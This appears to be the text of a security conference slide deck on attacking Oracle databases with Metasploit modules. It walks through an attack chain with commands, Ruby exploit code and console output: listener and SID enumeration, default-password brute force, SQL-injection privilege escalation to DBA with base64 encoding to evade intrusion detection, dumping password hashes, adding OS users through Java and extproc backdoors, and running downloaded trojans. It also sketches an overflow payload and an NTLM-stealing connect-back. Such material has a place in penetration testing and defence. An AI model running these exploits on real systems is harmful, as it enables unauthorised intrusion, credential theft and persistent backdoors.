  • 18. Oracle Attack Methodology Determine Oracle Version. tns_packet(“(CONNECT_DATA=(COMMAND=VERSION))”) msf auxiliary(tnslsnr_version) > set RHOSTS 172.10.1.107-172.10.1.110 RHOSTS => 172.10.1.107-172.10.1.110 msf auxiliary(tnslsnr_version) > run [*] Host 172.10.1.107 is running: Solaris: Version 9.2.0.1.0 – Production [*] Host 172.10.1.108 is running: Linux: Version 11.1.0.6.0 - Production [*] Host 172.10.1.109 is running: 32-bit Windows: Version 10.2.0.1.0 - Production [*] Auxiliary module execution completed msf auxiliary(tnslsnr_version) > db_notes [*] Time: Fri May 29 16:09:41 -0500 2009 Note: host=172.10.1.107 type=VERSION Solaris: Version 9.2.0.1.0 – Production … [*] Time: Fri May 29 16:09:44 -0500 2009 Note: host=172.10.1.109 type=VERSION data=32- bit Windows: Version 10.2.0.1.0 - Production msf auxiliary(tnslsnr_version) >
  • 19. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 20. Oracle Attack Methodology Determine Oracle Service Identifier (SID). tns_packet(“(CONNECT_DATA=(COMMAND=STATUS))”) By querying the TNS Listener directly, brute force for default SID's or query other components that may contain it. msf auxiliary(sid_enum) > run [*] Identified SID for 172.10.1.107: PLSExtProc [*] Identified SID for 172.10.1.107 : acms [*] Identified SERVICE_NAME for 172.10.1.107 : PLSExtProc [*] Identified SERVICE_NAME for 172.10.1.107 : acms [*] Auxiliary module execution completed msf auxiliary(sid_enum) > run [-] TNS listener protected for 172.10.1.109... [*] Auxiliary module execution completed
  • 21. Oracle Attack Methodology Determine Oracle SID. By quering the TNS Listener directly, brute force for default SID's or query other components that may contain it. msf auxiliary(sid_brute) > run [*] Starting brute force on 172.10.1.109, using sids from /home/cg/evil/msf3/dev/data/exploits/sid.txt... [*] Found SID 'ORCL' for host 172.10.1.109. [*] Auxiliary module execution completed
  • 22. Oracle Attack Methodology Determine Oracle SID. By quering the TNS Listener directly, brute force for default SID's or query other components that may contain it. msf auxiliary(sid_enum) > run [-] TNS listener protected for 172.10.1.108... [*] Auxiliary module execution completed msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/spy_sid msf auxiliary(spy_sid) > run [*] Discovered SID: ‘orcl' for host 172.10.1.108 [*] Auxiliary module execution completed msf auxiliary(spy_sid) >
  • 23. Oracle Attack Methodology Determine Oracle SID. Enterprise Manger Console.
  • 24. Oracle Attack Methodology Determine Oracle SID. Enterprise Manager Console. Query other components that may contain it. msf auxiliary(sid_enum) > run [-] TNS listener protected for 172.10.1.108... [*] Auxiliary module execution completed msf auxiliary(sid_enum) > use auxiliary/scanner/oracle/oas_sid msf auxiliary(oas_sid) > run [*] Discovered SID: ‘orcl' for host 172.10.1.109 [*] Auxiliary module execution completed msf auxiliary(oas_sid) >
  • 25. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 26. Oracle Attack Methodology Determine Oracle Username/Password. Brute Force For Known Default Accounts. msf auxiliary(login_brute) > set SID ORCL SID => ORCL msf auxiliary(login_brute) > run . [-] ORA-01017: invalid username/password; logon denied [-] ORA-01017: invalid username/password; logon denied [*] Auxiliary module execution completed msf auxiliary(login_brute) > db_notes [*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109 type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER
  • 27. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 28. Oracle Attack Methodology Privilege Escalation via SQL Injection. SQL Injection in default Oracle packages. A good chunk of it executable by public!  Regular SQLI requires CREATE PROCEDURE privilege which most default accounts possess. Cursor SQLI only requires CREATE SESSION privilege.
  • 29. Privilege Escalation The code. def initialize(info = {})super(update_info(info, 'Name' => 'SQL Injection via SYS.LT.FINDRICSET.', 'Description' => %q{snip... 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision:$', 'References' =>[ [ 'BID', '26098' ],], 'DisclosureDate' => 'Oct 17 2007')) register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),], self.class)
  • 30. Privilege Escalation The code. name = Rex::Text.rand_text_alpha_upper(rand(10) + 1) function = "CREATE OR REPLACE FUNCTION #{name} RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '#{datastore['SQL'].upcase}'; COMMIT; RETURN(0); END;"
  • 31. Privilege Escalation The code. package ="BEGIN SYS.LT.FINDRICSET('.'' #{datastore ['DBUSER']}.#{name}||'''')--',''); END;" clean = "DROP FUNCTION #{name}" .... print_status("Sending first function...") prepare_exec(function) print_status("Attempting sql injection on SYS.LT.FINDRICSET...") prepare_exec(package) print_status("Removing function '#{name}'...") prepare_exec(clean) ....
  • 32. Privilege Escalation The set-up. msf auxiliary(lt_findricset) > set RHOST 172.10.1.109 RHOST => 172.10.1.109 msf auxiliary(lt_findricset) > set RPORT 1521 RPORT => 1521 msf auxiliary(lt_findricset) > set DBUSER SCOTT DBUSER => SCOTT msf auxiliary(lt_findricset) > set DBPASS TIGER DBPASS => TIGER msf auxiliary(lt_findricset) > set SID ORCL SID => ORACLE msf auxiliary(lt_findricset) > set SQL GRANT DBA TO SCOTT SQL => GRANT DBA TO SCOTT
  • 33. Privilege Escalation Attacking SYS.LT.FINDRICSET. msf auxiliary(lt_findricset) > set SQL "grant dba to scott" SQL => grant dba to scott msf auxiliary(lt_findricset) > run [*] Sending first function... [*] Done... [*] Attempting sql injection on SYS.LT.FINDRICSET... [*] Done... [*] Removing function 'NBVFICZ'... [*] Done... [*] Auxiliary module execution completed msf auxiliary(lt_findricset) >
  • 34. Privilege Escalation Success? Before Injection. SQL => select * from user_role_privs msf auxiliary(sql) > run [*] Sending SQL... [*] SCOTT,CONNECT,NO,YES,NO [*] SCOTT,RESOURCE,NO,YES,NO After Injection. msf auxiliary(sql) > run [*] Sending SQL... [*] SCOTT,CONNECT,NO,YES,NO [*] SCOTT,DBA,NO,YES,NO [*] SCOTT,RESOURCE,NO,YES,NO
  • 36. Privilege Escalation This Can Be Solved By Implementing Some Basic Evasion. dos = Rex::Text.encode_base64(package) Which Is Then Decoded On The Remote Side. DECLARE #{rand2} VARCHAR2(32767); BEGIN #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}'))); EXECUTE IMMEDIATE #{rand2}; END;
  • 37. Privilege Escalation We Bypass The NIDS, But Not So Much The HIPS
  • 38. Privilege Escalation At least not with that exploit! "select sys.dbms_metadata.get_xml('''||#{datastore['DBUSER']}.#{name}()||''','') from dual"
  • 39. Privilege Escalation Exploits Initial Coverage. lt_findricset.rb CVE-2007-5511 lt_findricset_cursor.rb CVE-2007-5511 dbms_metadata_open.rb CVE-2006-0260 dbms_cdc_ipublish.rb CVE-2008-3996 dbms_cdc_publish.rb CVE-2008-3995 lt_rollbackworkspace.rb CVE-2009-0978 lt_compressworkspace.rb CVE-2008-3982 lt_mergeworkspace.rb CVE-2008-3983 lt_removeworkspace.rb CVE-2008-3984
  • 40. Oracle Attack Methodology Locate a system running Oracle. Determine Oracle Version. Determine Oracle SID. Guess/Bruteforce USER/PASS. Privilege Escalation via SQL Injection. Manipulate Data/Post Exploitation. Cover Tracks.
  • 41. Post Exploitation If all I want is the Data after SQLI to DBA we are probably done. sql.rb to run SQL commands. msf auxiliary(sql) > set SQL "select username,password,account_status from dba_users” SQL => select username,password,account_status from dba_users msf auxiliary(sql) > run [*] Sending SQL... [*] SYS,7087B7E95718C0CC,OPEN [*] SYSTEM,66DC0F914CDD83F3,OPEN [*] DBSNMP,E066D214D5421CCC,OPEN [*] SCOTT,F894844C34402B67,OPEN [*] Done... [*] Auxiliary module execution completed msf auxiliary(sql) >
  • 42. Post Exploitation Data is nice, but shells are better  Several published methods for running OS commands via oracle libraries. Via Java. Extproc backdoors. Dbms_Scheduler. Run custom pl/sql or java.
  • 43. Post Exploitation Win32Exec Grant user JAVASYSPRIVS using sql.rb. Run win32exec.rb to run system commands. Examples Net User Add TFTP get trojan.exe → execute trojan.exe FTP Batch Scripts Net User Add → metasploit psexec exploit  Ref: http://0xdeadbeef.info/exploits/raptor_oraexec.sql  Ref: Oracle Hacker’s Handbook
  • 44. Post Exploitation Win32Exec msf auxiliary(win32exec) > set CMD "net user dba P@ssW0rd1234 /add“ CMD => net user dba P@ssW0rd1234 /add msf auxiliary(win32exec) > run [*] Creating MSF JAVA class... [*] Done... [*] Creating MSF procedure... [*] Done... [*] Sending command: 'net user dba P@ssW0rd1234 /add‘ [*] Done... [*] Auxiliary module execution completed
  • 45. Post Exploitation nixExec To be released later.
  • 46. Post Exploitation FTP Upload Echo over FTP batch script via UTL_FILE, use DBMS_Scheduler to run the script and execute the malware. Demo Video at: http://vimeo.com/2704188  Ref: Red Database Security  Ref: http://www.red-database-security.com/wp/oracle_cheat.pdf
  • 47. Post Exploitation Perl Backdoor Oracle installs perl with every install. Use UTL_FILE to echo over perl shell line by line. Use one of the other tools to execute perl shell. Easy to use with *nix  Ref: Red Database Security
  • 48. Post Exploitation Extproc Backdoor via directory traversal.  Allows you to call libraries outside of oracle root. Nix and win32. CVE 2004-1364 9.0.1.1 – 9.0.1.5 9.2.0.1 – 9.2.0.5 10.1.0.2  Ref: http://0xdeadbeef.info/exploits/raptor_oraextproc.sql
  • 49. Post Exploitation Extproc Backdoor via directory traversal. msf auxiliary(extproc_backdoor_traversal) > set CMD “net user metasploit metasploit /add” CMD => net user metasploit metasploit /add msf auxiliary(extproc_backdoor_traversal) > run [*] Setting up extra required permissions [*] Done... [*] Set msvcrt.dll location to C:oracleora92bin../../../Windowssystem32msvcrt.dll [*] Done... [*] Setting extproc backdoor [*] Running command net user metasploit metasploit /add [*] Done… [*] Auxiliary module execution complete
  • 50. Post Exploitation Extproc Backdoor via directory traversal.
  • 51. Post Exploitation Extproc Backdoor via copy dll. “newer” versions will allow you to just copy over the dll into the %ORACLE_HOME%bin directory. CREATE OR REPLACE DIRECTORY copy_dll_from AS 'C:Windowssystem32'; CREATE OR REPLACE DIRECTORY copy_dll_to AS 'C:Oracleproduct10.1.0db_1BIN'; … CREATE OR REPLACE LIBRARY extproc_shell AS 'C:Oracleproduct10.1.0db_1binmsvcrt.dll'; / Works on newer Oracle 10g/11g.  Ref: Digital Security Research Group  Ref: http://milw0rm.org/exploits/7675
  • 52. Post Exploitation Win32upload Grant user JAVASYSPRIVS using sql.rb. Run win32upload.rb to download binary from a remote webserver Run win32exec.rb to execute the binary  Ref: Argeniss Advanced SQL Injection in Oracle Databases (Black Hat USA 2005)  Ref: http://www.argeniss.com/research/OracleSQLInjBHUSA05.zip
  • 53. Post Exploitation DBMS_Schedule Backdoor Run OS commands via DBMS_Scheduler. Module written by Alexandr Polyakov of Digital Security Research Group. Will be added to svn soon.
  • 54. Post Exploitation Oracle NTLM Stealer Oracle running as admin user not SYSTEM. Have Oracle connect back to MSF, grab halfLM challenge or perform SMB Relay attack. Module writers did a great write up on using the module and when it would be useful.  http://www.dsecrg.com/files/pub/pdf/Penetration_from_application_down_t o _OS_(Oracle%20database).pdf
  • 55. Breaking Other Oracle Apps Oracle Application Server CGI/Vulnerable URL scanner oas_cgi.rb msf auxiliary(oas_cgi) > run [*] /em/console/logon/logon [*] /em/dynamicImage/emSDK/chart/EmChartBean [*] /servlet/DMSDump [*]/servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB- INF/config/soapConfig.xml [*] /servlet/Spy [*] Auxiliary module execution completed
  • 56. The Way Ahead Exploits For Vulnerable Packages. [*] ORA-03135: connection lost contact PROCEDURE DELETE_REFRESH_OPERATIONS Argument Name Type In/Out Default? ------------------------------ ----------------------- ------ -------- SNAP_OWNER VARCHAR2 IN SNAP_NAME VARCHAR2 IN sploit = rand_text_alpha_upper(576) + "BBBB" + "AAAA" + "xcc" * 500 sql = %Q|BEGIN SYS.DBMS_SNAP_INTERNAL.DELETE_REFRESH_OPERATIONS('MSF', '#{sploit}'); END; | 0:032> !exchain 074fc408: 41414141 Invalid exception stack at 42424242
  • 57. DEMO
  • 59. THANKS! HDM, Richard Evans, JMG, !LSO, Sh2kerr, Rory McCune